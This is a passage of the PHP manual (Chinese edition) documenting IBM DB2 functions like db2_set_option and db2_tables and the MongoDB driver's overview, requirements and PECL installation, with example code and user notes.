/* Call the function using the correct resource, options array, and the wrong type value */
$result = db2_set_option($conn, $options, 2);

/* Check if all options could be set correctly */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

以上示例会输出：

Could Not Set Options

Example #6 Setting multiple parameters with the wrong resource

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF,
'binmode' => DB2_PASSTHRU,
'db2_attr_case' => DB2_CASE_UPPER,
'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE');

/* Call the function using the wrong resource, and the correct options array, and type values */
$result = db2_set_option($stmt, $options, 1);

/* Check if all options could be set correctly */
if($result)
{
echo 'Options Set Successfully';
}
else
{
echo 'Could Not Set Options';
}
?>

以上示例会输出：

Could Not Set Options

Example #7 Putting it all together

<?php
/* Database Connection Parameters */
$database = 'SAMPLE';
$hostname = 'localhost';
$port = 50000;
$protocol = 'TCPIP';
$username = 'db2inst1';
$password = 'ibmdb2';

/* Connection String */
$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;";
$conn_string .= "HOSTNAME=$hostname;PORT=$port;PROTOCOL=$protocol;";
$conn_string .= "UID=$username;PWD=$password;";

/* Obtain Connection Resource */
$conn = db2_connect($conn_string, '', '');

/* Create the associative options array with valid key-value pairs */
$options = array('db2_attr_case' => DB2_CASE_LOWER,
'cursor' => DB2_SCROLLABLE);

$stmt = db2_prepare($conn, 'SELECT * FROM EMPLOYEE WHERE EMPNO = ? OR EMPNO = ?');

/* Call the function using the correct resource, options array, and type values */
$option_result = db2_set_option($stmt, $options, 2);
$result = db2_execute($stmt, array('000130', '000140'));

/* Get Row 2 before Row 1 since Scrollable Cursor */
print_r(db2_fetch_assoc($stmt, 2));
print '<br /><br />';
print_r(db2_fetch_assoc($stmt, 1));

?>

以上示例会输出：

Array
(
    [empno] => 000140
    [firstnme] => HEATHER
    [midinit] => A
    [lastname] => NICHOLLS
    [workdept] => C01
    [phoneno] => 1793
    [hiredate] => 1976-12-15
    [job] => ANALYST
    [edlevel] => 18
    [sex] => F
    [birthdate] => 1946-01-19
    [salary] => 28420.00
    [bonus] => 600.00
    [comm] => 2274.00
)

Array
(
    [empno] => 000130
    [firstnme] => DELORES
    [midinit] => M
    [lastname] => QUINTANA
    [workdept] => C01
    [phoneno] => 4578
    [hiredate] => 1971-07-28
    [job] => ANALYST
    [edlevel] => 16
    [sex] => F
    [birthdate] => 1925-09-15
    [salary] => 23800.00
    [bonus] => 500.00
    [comm] => 1904.00
)

Example #8 i5/OS cursors are read-only

<?php
$conn = db2_connect("", "", "", array("i5_lib"=>"nobody"));
$stmt = db2_prepare($conn, 'select * from names where first = ?');
$name = "first2";
db2_bind_param($stmt, 1, "name", DB2_PARAM_IN);
$options = array("i5_fetch_only"=>DB2_I5_FETCH_ON);
db2_set_option($stmt,$options,0);
if (db2_execute($stmt)) {
while ($row = db2_fetch_array($stmt)) {
echo "{$row[0]} {$row[1]}";
}
}
?>

以上示例会输出：

first2 last2

参见

  • db2_connect() - Returns a connection to a database
  • db2_pconnect() - Returns a persistent connection to a database
  • db2_exec() - Executes an SQL statement directly
  • db2_prepare() - Prepares an SQL statement to be executed
  • db2_cursor_type() - Returns the cursor type used by a statement resource

User Contributed Notes

rtejpar at ca dot ibm dot com 03-Nov-2006 07:45
Examples 3 and 4 should output 'Options Set Successfully.'  This is because, only a single option's key/value is set incorrectly (other options are still correct), hence the function must return successfully. (Instead a PHP warning will most probably be issued).


Returns a result set listing the unique row identifier columns for a table

  • ? db2_set_option
  • db2_statistics ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the unique row identifier columns for a table

db2_special_columns

(PECL ibm_db2 >= 1.0.0)

db2_special_columns — Returns a result set listing the unique row identifier columns for a table

说明

db2_special_columns(
resource $connection,
?string $qualifier,
string $schema,
string $table_name,
int $scope
): resource

Returns a result set listing the unique row identifier columns for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables.

table_name

The name of the table.

scope

Integer value representing the minimum duration for which the unique row identifier is valid. This can be one of the following values:

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.

返回值

Returns a statement resource with a result set containing rows with unique row identifier information for a table. The rows are composed of the following columns:

Column name | Description
SCOPE

Integer value | SQL constant | Description
0 | SQL_SCOPE_CURROW | Row identifier is valid only while the cursor is positioned on the row.
1 | SQL_SCOPE_TRANSACTION | Row identifier is valid for the duration of the transaction.
2 | SQL_SCOPE_SESSION | Row identifier is valid for the duration of the connection.
COLUMN_NAME | Name of the unique column.
DATA_TYPE | SQL data type for the column.
TYPE_NAME | Character string representation of the SQL data type for the column.
COLUMN_SIZE | An integer value representing the size of the column.
BUFFER_LENGTH | Maximum number of bytes necessary to store data from this column.
DECIMAL_DIGITS | The scale of the column, or null where scale is not applicable.
NUM_PREC_RADIX | An integer value of either 10 (representing an exact numeric data type), 2 (representing an approximate numeric data type), or null (representing a data type for which radix is not applicable).
PSEUDO_COLUMN | Always returns 1.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the index and statistics for a table

  • ? db2_special_columns
  • db2_stmt_error ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the index and statistics for a table

db2_statistics

(PECL ibm_db2 >= 1.0.0)

db2_statistics — Returns a result set listing the index and statistics for a table

说明

db2_statistics(
resource $connection,
?string $qualifier,
?string $schema,
string $table_name,
bool $unique
): resource

Returns a result set listing the index and statistics for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema that contains the targeted table. If this parameter is null, the statistics and indexes are returned for the schema of the current user.

table_name

The name of the table.

unique

When unique is true, the information for all indexes in the table are returned. Otherwise, only the information for unique indexes in the table are returned.

返回值

Returns a statement resource with a result set containing rows describing the statistics and indexes for the base tables matching the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is null if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
NON_UNIQUE

An integer value representing whether the index prohibits unique values, or whether the row represents statistics on the table itself:

Return value | Parameter type
0 (SQL_FALSE) | The index allows duplicate values.
1 (SQL_TRUE) | The index values must be unique.
null | This row is statistics information for the table itself.
INDEX_QUALIFIER | A string value representing the qualifier that would have to be prepended to INDEX_NAME to fully qualify the index.
INDEX_NAME | A string representing the name of the index.
TYPE

An integer value representing the type of information contained in this row of the result set:

Return value | Parameter type
0 (SQL_TABLE_STAT) | The row contains statistics about the table itself.
1 (SQL_INDEX_CLUSTERED) | The row contains information about a clustered index.
2 (SQL_INDEX_HASH) | The row contains information about a hashed index.
3 (SQL_INDEX_OTHER) | The row contains information about a type of index that is neither clustered nor hashed.
ORDINAL_POSITION | The 1-indexed position of the column in the index. null if the row contains statistics information about the table itself.
COLUMN_NAME | The name of the column in the index. null if the row contains statistics information about the table itself.
ASC_OR_DESC | A if the column is sorted in ascending order, D if the column is sorted in descending order, null if the row contains statistics information about the table itself.
CARDINALITY

If the row contains information about an index, this column contains an integer value representing the number of unique values in the index.

If the row contains information about the table itself, this column contains an integer value representing the number of rows in the table.

PAGES

If the row contains information about an index, this column contains an integer value representing the number of pages used to store the index.

If the row contains information about the table itself, this column contains an integer value representing the number of pages used to store the table.

FILTER_CONDITION | Always returns null.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the SQLSTATE returned by an SQL statement

  • ? db2_statistics
  • db2_stmt_errormsg ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a string containing the SQLSTATE returned by an SQL statement

db2_stmt_error

(PECL ibm_db2 >= 1.0.0)

db2_stmt_error — Returns a string containing the SQLSTATE returned by an SQL statement

说明

db2_stmt_error(?resource $stmt = null): string

Returns a string containing the SQLSTATE value returned by an SQL statement.

If you do not pass a statement resource as an argument to db2_stmt_error(), the driver returns the SQLSTATE value associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_stmt_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

参数

stmt

A valid statement resource.

返回值

Returns a string containing an SQLSTATE value.

参见

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_stmt_errormsg() - Returns a string containing the last SQL statement error message

User Contributed Notes

There are no user contributed notes for this page.


Returns a string containing the last SQL statement error message

  • ? db2_stmt_error
  • db2_table_privileges ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a string containing the last SQL statement error message

db2_stmt_errormsg

(PECL ibm_db2 >= 1.0.0)

db2_stmt_errormsg — Returns a string containing the last SQL statement error message

说明

db2_stmt_errormsg(?resource $stmt = null): string

Returns a string containing the last SQL statement error message.

If you do not pass a statement resource as an argument to db2_stmt_errormsg(), the driver returns the error message associated with the last attempt to return a statement resource, for example, from db2_prepare() or db2_exec().

参数

stmt

A valid statement resource.

返回值

Returns a string containing the error message and SQLCODE value for the last error that occurred issuing an SQL statement.

参见

  • db2_conn_error() - Returns a string containing the SQLSTATE returned by the last connection attempt
  • db2_conn_errormsg() - Returns the last connection error message and SQLCODE value
  • db2_stmt_error() - Returns a string containing the SQLSTATE returned by an SQL statement

User Contributed Notes

There are no user contributed notes for this page.


Returns a result set listing the tables and associated privileges in a database

  • ? db2_stmt_errormsg
  • db2_tables ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the tables and associated privileges in a database

db2_table_privileges

(PECL ibm_db2 >= 1.0.0)

db2_table_privileges — Returns a result set listing the tables and associated privileges in a database

说明

db2_table_privileges(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null
): resource

Returns a result set listing the tables and associated privileges in a database.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table_name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

返回值

Returns a statement resource with a result set containing rows describing the privileges for the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is null if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
GRANTOR | Authorization ID of the user who granted the privilege.
GRANTEE | Authorization ID of the user to whom the privilege was granted.
PRIVILEGE | The privilege that has been granted. This can be one of ALTER, CONTROL, DELETE, INDEX, INSERT, REFERENCES, SELECT, or UPDATE.
IS_GRANTABLE | A string value of "YES" or "NO" indicating whether the grantee can grant the privilege to other users.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_tables() - Returns a result set listing the tables and associated metadata in a database

User Contributed Notes

andryzulfikar at gmail dot com 28-Jun-2012 07:52
<?php
// using db2_table_privileges example:

$result = db2_table_privileges($conn,NULL,'DB2ADMIN');

while($obj = db2_fetch_object($result)){
       print_r($obj)
}

/* output

stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => ALTER
    [IS_GRANTABLE] => YES
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => CONTROL
    [IS_GRANTABLE] => NO
)
stdClass Object
(
    [TABLE_CAT] =>
    [TABLE_SCHEM] => DB2ADMIN
    [TABLE_NAME] => SALARY
    [GRANTOR] => SYSIBM
    [GRANTEE] => DB2ADMIN
    [PRIVILEGE] => DELETE
    [IS_GRANTABLE] => YES
)
*/

?>


Returns a result set listing the tables and associated metadata in a database

  • ? db2_table_privileges
  • MongoDB ?
  • PHP Manual
  • IBM DB2 函数
  • Returns a result set listing the tables and associated metadata in a database

db2_tables

(PECL ibm_db2 >= 1.0.0)

db2_tables — Returns a result set listing the tables and associated metadata in a database

说明

db2_tables(
resource $connection,
?string $qualifier = null,
?string $schema = null,
?string $table_name = null,
?string $table_type = null
): resource

Returns a result set listing the tables and associated metadata in a database.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass null or an empty string.

schema

The schema which contains the tables. This parameter accepts a search pattern containing _ and % as wildcards.

table_name

The name of the table. This parameter accepts a search pattern containing _ and % as wildcards.

table_type

A list of comma-delimited table type identifiers. To match all table types, pass null or an empty string. Valid table type identifiers include: ALIAS, HIERARCHY TABLE, INOPERATIVE VIEW, NICKNAME, MATERIALIZED QUERY TABLE, SYSTEM TABLE, TABLE, TYPED TABLE, TYPED VIEW, and VIEW.

返回值

Returns a statement resource with a result set containing rows describing the tables that match the specified parameters. The rows are composed of the following columns:

Column name | Description
TABLE_CAT | The catalog that contains the table. The value is null if this table does not have catalogs.
TABLE_SCHEM | Name of the schema that contains the table.
TABLE_NAME | Name of the table.
TABLE_TYPE | Table type identifier for the table.
REMARKS | Description of the table.

参见

  • db2_column_privileges() - Returns a result set listing the columns and associated privileges for a table
  • db2_columns() - Returns a result set listing the columns and associated metadata for a table
  • db2_foreign_keys() - Returns a result set listing the foreign keys for a table
  • db2_primary_keys() - Returns a result set listing primary keys for a table
  • db2_procedure_columns() - Returns a result set listing stored procedure parameters
  • db2_procedures() - Returns a result set listing the stored procedures registered in a database
  • db2_special_columns() - Returns a result set listing the unique row identifier columns for a table
  • db2_statistics() - Returns a result set listing the index and statistics for a table
  • db2_table_privileges() - Returns a result set listing the tables and associated privileges in a database

User Contributed Notes

There are no user contributed notes for this page.


MongoDB driver

This extension is developed atop the » libmongoc and » libbson libraries. It provides a minimal API for core driver functionality: commands, queries, writes, connection management, and BSON serialization.

Userland PHP libraries that depend on this extension may provide higher level APIs, such as query builders, individual command helper methods, and GridFS. Application developers should consider using this extension in conjunction with the » MongoDB PHP library, which implements the same higher level APIs found in MongoDB drivers for other languages. This separation of concerns allows the driver to focus on essential features for which an extension implementation is paramount for performance.

  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 预定义常量
  • Tutorials
    • Using the PHP Library for MongoDB (PHPLIB)
    • Application Performance Monitoring (APM)
  • Driver Architecture and Internals — Explains the driver architecture, and special features
    • Architecture — Architecture Overview
    • Connections — Connection handling and persistence
    • Persisting Data — Serialization and deserialization of PHP variables into MongoDB
  • Security
    • Request Injection Attacks
    • Script Injection Attacks
  • MongoDB\Driver — MongoDB 驱动类
    • MongoDB\Driver\Manager — The MongoDB\Driver\Manager class
    • MongoDB\Driver\Command — The MongoDB\Driver\Command class
    • MongoDB\Driver\Query — The MongoDB\Driver\Query class
    • MongoDB\Driver\BulkWrite — The MongoDB\Driver\BulkWrite class
    • MongoDB\Driver\Session — The MongoDB\Driver\Session class
    • MongoDB\Driver\ClientEncryption — The MongoDB\Driver\ClientEncryption class
    • MongoDB\Driver\ServerApi — The MongoDB\Driver\ServerApi class
    • MongoDB\Driver\WriteConcern — The MongoDB\Driver\WriteConcern class
    • MongoDB\Driver\ReadPreference — The MongoDB\Driver\ReadPreference class
    • MongoDB\Driver\ReadConcern — The MongoDB\Driver\ReadConcern class
    • MongoDB\Driver\Cursor — The MongoDB\Driver\Cursor class
    • MongoDB\Driver\CursorId — The MongoDB\Driver\CursorId class
    • MongoDB\Driver\CursorInterface — The MongoDB\Driver\CursorInterface interface
    • MongoDB\Driver\Server — The MongoDB\Driver\Server class
    • MongoDB\Driver\ServerDescription — The MongoDB\Driver\ServerDescription class
    • MongoDB\Driver\TopologyDescription — The MongoDB\Driver\TopologyDescription class
    • MongoDB\Driver\WriteConcernError — The MongoDB\Driver\WriteConcernError class
    • MongoDB\Driver\WriteError — The MongoDB\Driver\WriteError class
    • MongoDB\Driver\WriteResult — The MongoDB\Driver\WriteResult class
  • MongoDB\BSON — BSON type classes and serialization functions
    • 函数
    • MongoDB\BSON\Document — The MongoDB\BSON\Document class
    • MongoDB\BSON\PackedArray — The MongoDB\BSON\PackedArray class
    • MongoDB\BSON\Iterator — The MongoDB\BSON\Iterator class
    • MongoDB\BSON\Binary — The MongoDB\BSON\Binary class
    • MongoDB\BSON\Decimal128 — The MongoDB\BSON\Decimal128 class
    • MongoDB\BSON\Javascript — The MongoDB\BSON\Javascript class
    • MongoDB\BSON\MaxKey — The MongoDB\BSON\MaxKey class
    • MongoDB\BSON\MinKey — The MongoDB\BSON\MinKey class
    • MongoDB\BSON\ObjectId — The MongoDB\BSON\ObjectId class
    • MongoDB\BSON\Regex — The MongoDB\BSON\Regex class
    • MongoDB\BSON\Timestamp — The MongoDB\BSON\Timestamp class
    • MongoDB\BSON\UTCDateTime — The MongoDB\BSON\UTCDateTime class
    • MongoDB\BSON\Type — The MongoDB\BSON\Type interface
    • MongoDB\BSON\Persistable — The MongoDB\BSON\Persistable interface
    • MongoDB\BSON\Serializable — The MongoDB\BSON\Serializable interface
    • MongoDB\BSON\Unserializable — The MongoDB\BSON\Unserializable interface
    • MongoDB\BSON\BinaryInterface — The MongoDB\BSON\BinaryInterface interface
    • MongoDB\BSON\Decimal128Interface — The MongoDB\BSON\Decimal128Interface interface
    • MongoDB\BSON\JavascriptInterface — The MongoDB\BSON\JavascriptInterface interface
    • MongoDB\BSON\MaxKeyInterface — The MongoDB\BSON\MaxKeyInterface interface
    • MongoDB\BSON\MinKeyInterface — The MongoDB\BSON\MinKeyInterface interface
    • MongoDB\BSON\ObjectIdInterface — The MongoDB\BSON\ObjectIdInterface interface
    • MongoDB\BSON\RegexInterface — The MongoDB\BSON\RegexInterface interface
    • MongoDB\BSON\TimestampInterface — The MongoDB\BSON\TimestampInterface interface
    • MongoDB\BSON\UTCDateTimeInterface — The MongoDB\BSON\UTCDateTimeInterface interface
    • MongoDB\BSON\DBPointer — The MongoDB\BSON\DBPointer class (deprecated)
    • MongoDB\BSON\Int64 — The MongoDB\BSON\Int64 class
    • MongoDB\BSON\Symbol — The MongoDB\BSON\Symbol class (deprecated)
    • MongoDB\BSON\Undefined — The MongoDB\BSON\Undefined class (deprecated)
  • MongoDB\Driver\Monitoring — Monitoring classes and subscriber functions
    • 函数
    • MongoDB\Driver\Monitoring\CommandFailedEvent — The MongoDB\Driver\Monitoring\CommandFailedEvent class
    • MongoDB\Driver\Monitoring\CommandStartedEvent — The MongoDB\Driver\Monitoring\CommandStartedEvent class
    • MongoDB\Driver\Monitoring\CommandSucceededEvent — The MongoDB\Driver\Monitoring\CommandSucceededEvent class
    • MongoDB\Driver\Monitoring\ServerChangedEvent — The MongoDB\Driver\Monitoring\ServerChangedEvent class
    • MongoDB\Driver\Monitoring\ServerClosedEvent — The MongoDB\Driver\Monitoring\ServerClosedEvent class
    • MongoDB\Driver\Monitoring\ServerOpeningEvent — The MongoDB\Driver\Monitoring\ServerOpeningEvent class
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent — The MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent class
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent — The MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent class
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent — The MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent class
    • MongoDB\Driver\Monitoring\TopologyChangedEvent — The MongoDB\Driver\Monitoring\TopologyChangedEvent class
    • MongoDB\Driver\Monitoring\TopologyClosedEvent — The MongoDB\Driver\Monitoring\TopologyClosedEvent class
    • MongoDB\Driver\Monitoring\TopologyOpeningEvent — The MongoDB\Driver\Monitoring\TopologyOpeningEvent class
    • MongoDB\Driver\Monitoring\CommandSubscriber — The MongoDB\Driver\Monitoring\CommandSubscriber interface
    • MongoDB\Driver\Monitoring\LogSubscriber — The MongoDB\Driver\Monitoring\LogSubscriber interface
    • MongoDB\Driver\Monitoring\SDAMSubscriber — The MongoDB\Driver\Monitoring\SDAMSubscriber interface
    • MongoDB\Driver\Monitoring\Subscriber — The MongoDB\Driver\Monitoring\Subscriber interface
  • MongoDB\Driver\Exception — Exception 类
    • MongoDB\Driver\Exception\AuthenticationException — The MongoDB\Driver\Exception\AuthenticationException class
    • MongoDB\Driver\Exception\BulkWriteException — The MongoDB\Driver\Exception\BulkWriteException class
    • MongoDB\Driver\Exception\CommandException — The MongoDB\Driver\Exception\CommandException class
    • MongoDB\Driver\Exception\ConnectionException — The MongoDB\Driver\Exception\ConnectionException class
    • MongoDB\Driver\Exception\ConnectionTimeoutException — The MongoDB\Driver\Exception\ConnectionTimeoutException class
    • MongoDB\Driver\Exception\EncryptionException — The MongoDB\Driver\Exception\EncryptionException class
    • MongoDB\Driver\Exception\Exception — The MongoDB\Driver\Exception\Exception interface
    • MongoDB\Driver\Exception\ExecutionTimeoutException — The MongoDB\Driver\Exception\ExecutionTimeoutException class
    • MongoDB\Driver\Exception\InvalidArgumentException — The MongoDB\Driver\Exception\InvalidArgumentException class
    • MongoDB\Driver\Exception\LogicException — The MongoDB\Driver\Exception\LogicException class
    • MongoDB\Driver\Exception\RuntimeException — The MongoDB\Driver\Exception\RuntimeException class
    • MongoDB\Driver\Exception\ServerException — The MongoDB\Driver\Exception\ServerException class
    • MongoDB\Driver\Exception\SSLConnectionException — The MongoDB\Driver\Exception\SSLConnectionException class (deprecated)
    • MongoDB\Driver\Exception\UnexpectedValueException — The MongoDB\Driver\Exception\UnexpectedValueException class
    • MongoDB\Driver\Exception\WriteException — The MongoDB\Driver\Exception\WriteException class
    • Class Tree — MongoDB Exception Class Tree

User Contributed Notes

Robert 28-Feb-2023 08:42
Hey guys,
a short example to access a local mongo db server:

<?php

echo "Mongo DB Example<br>";

// run composer requre mongodb/mongdodb in your project folder before
require("vendor/autoload.php");

// start mongod process on your instance first
$client = new MongoDB\Client('mongodb://localhost:27017');

// select a database (will be created automatically if it not exists)
$db = $client->test2;
echo "Database test2 created/selected<br>";

// select a collection (will be created automatically if it not exists)
$coll = $db->selectCollection("mycoll");
echo "Collection mycoll created/selected<br>";

// insert a datatow in the collection
$coll->insertOne(['foo' => 'bar']);

// search for the datarow
echo "Result:<br>";
var_dump($coll->findOne(['foo' => 'bar']));

?>
mike at eastghost dot com 27-Dec-2017 06:10
PHP 'USERLAND' / HIGHER-LEVEL DRIVER IS HERE --  [url]https://github.com/mongodb/mongo-php-driver[/url]

In new driver, these fail:

(A) $count = $collection->find( $criteria )->count();

(B1) $cursor = $collection->find( $criteria );
(B2) $count = $cursor->count();

In new driver, result counting has become its own separate action, to be applied to the collection, not the cursor:

$count = $collection->count( $criteria );
$cursor = $collection->find( $criteria );

From jmikola 6 Jan 2016 ([url]https://github.com/mongodb/mongo-php-driver/issues/195 here[/url]):

"In the new driver, a Cursor object now represents the actual results of an executed command or query, whereas cursors in the legacy driver had a dual-nature (pre- or post-executed). The legacy MongoCursor::count() method actually invoked a count command with the same criteria; however, this meant it was entirely possible for the count command's calculation to differ from the actual query results, since they were not necessarily operating on the same result data.

"The userland library implements a count() method on the collection, which also takes filter criteria, and we'd rather encourage that so users understand that the operations are separate. If we do end up making Cursor countable in the userland library, we would use iterator_count() to provide an exact count on the results; however, this will also require us to cache the results so that users can rewind the cursor and iterate again (this was most recently discussed in PHPLIB-81). While the legacy driver would re-execute the query on a rewind, that's also not an option given the nature of a Cursor in the new driver.

"I realize this may come across as an inconvenience, but I believe the explicit API is a ultimately a step forward from the legacy driver, where many users might have been oblivious to what was actually happening under the hood. Feel free to follow up if you have additional questions.
mike at eastghost dot com 04-Jun-2017 05:11
There is an adapter - so old MongoClient / MongoDB code will run on the new PHP7/Mongo mess

https://github.com/alcaeus/mongo-php-adapter
n dot vandermeij at mycademy dot com 01-Dec-2016 04:02
*** ONLY FOR VERSIONS >= 1.2.0 ***

If you encounter the following error:

"PHP Warning:  PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/mongodb.so'
 - /usr/lib64/php/modules/mongodb.so: undefined symbol: php_json_serializable_ce in Unknown on line 0"

For a detailed explanation, please visit:

https://derickrethans.nl/undefined-symbol.html

TLDR: You need to load the mongodb.so extension after the json.so
extension

Special thanks to Derick Rethans for pointing this out!


安装/配置

  • 需求
  • 安装
    • Installing the MongoDB PHP Driver with PECL
    • Installing the MongoDB PHP Driver on macOS with Homebrew
    • Installing the MongoDB PHP Driver on Windows
    • Building the MongoDB PHP Driver from source
  • 运行时配置
  • 预定义常量

User Contributed Notes

There are no user contributed notes for this page.


需求

As of version 1.16.0, the driver requires PHP 7.2 or higher. Previous versions of the driver allow compatibility with older PHP versions.

The driver requires » libbson and » libmongoc, and will use bundled versions of both libraries by default. System libraries may also be used, as discussed in the manual installation documentation.

The driver, via libmongoc, optionally depends on a TLS library (e.g. OpenSSL) and will use it if available. If the build process fails to find a TLS library, users should check that the appropriate development package (e.g. libssl-dev) and » pkg-config are both installed. The process for detecting and configuring TLS libraries is discussed in more detail in the manual installation documentation.

» Cyrus SASL is an optional dependency to support Kerberos authentication and will be used if available.

Note: Due to potential problems representing 64-bit integers on 32-bit platforms, users are advised to use 64-bit environments. When using a 32-bit platform, be aware that any 64-bit integer read from the database will be returned as a MongoDB\BSON\Int64 instance instead of a PHP integer type.

User Contributed Notes

mfoley at cms-controls dot com 02-Mar-2017 01:22
I ran into this module requiring libsasl.dll available in the Windows Path. I thought that was just for the old driver, but apparently not. I'm running PHP 7.0.7 with Apache 2.4 (VC14), x64 thread-safe. I was working with version 1.2.5 of the MongoDB driver.


安装

Table of Contents

  • Installing the MongoDB PHP Driver with PECL
  • Installing the MongoDB PHP Driver on macOS with Homebrew
  • Installing the MongoDB PHP Driver on Windows
  • Building the MongoDB PHP Driver from source

User Contributed Notes

There are no user contributed notes for this page.


Installing the MongoDB PHP Driver with PECL

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/mongodb

Linux, Unix, and macOS users may run the following command to install the driver:

$ sudo pecl install mongodb

On systems with multiple version of PHP installed (e.g. macOS default, Homebrew, » XAMPP), each version of PHP will have its own pecl command and php.ini file(s). Additionally, each PHP environments (e.g. CLI, web) may use separate php.ini files.

As of driver version 1.17.0, PECL will prompt for various configure options. To install the driver with default options in a non-interactive script, empty string input may be piped to pecl install using the yes command:

$ yes '' | sudo pecl install mongodb

A complete list of supported configure options can be found in the package.xml file included in the PECL package. To install the driver with specific configure options in a non-interactive script, the --configureoptions option for pecl install may be used:

$ sudo pecl install --configureoptions='with-mongodb-system-libs="yes" enable-mongodb-developer-flags="no"' mongodb

By default, installing the driver via PECL will use bundled versions of » libbson, » libmongoc, and » libmongocrypt and attempt to automatically configure them.

Note: If the build process fails to find an SSL library, check that the development packages (e.g. libssl-dev) and » pkg-config are both installed. If that does not resolve the problem, consider using the manual installation process.

Finally, add the following line to the php.ini file for each environment that will need to use the driver:

extension=mongodb.so

User Contributed Notes

mohammadhoseinmazalahi at gmail dot com 19-May-2020 10:30
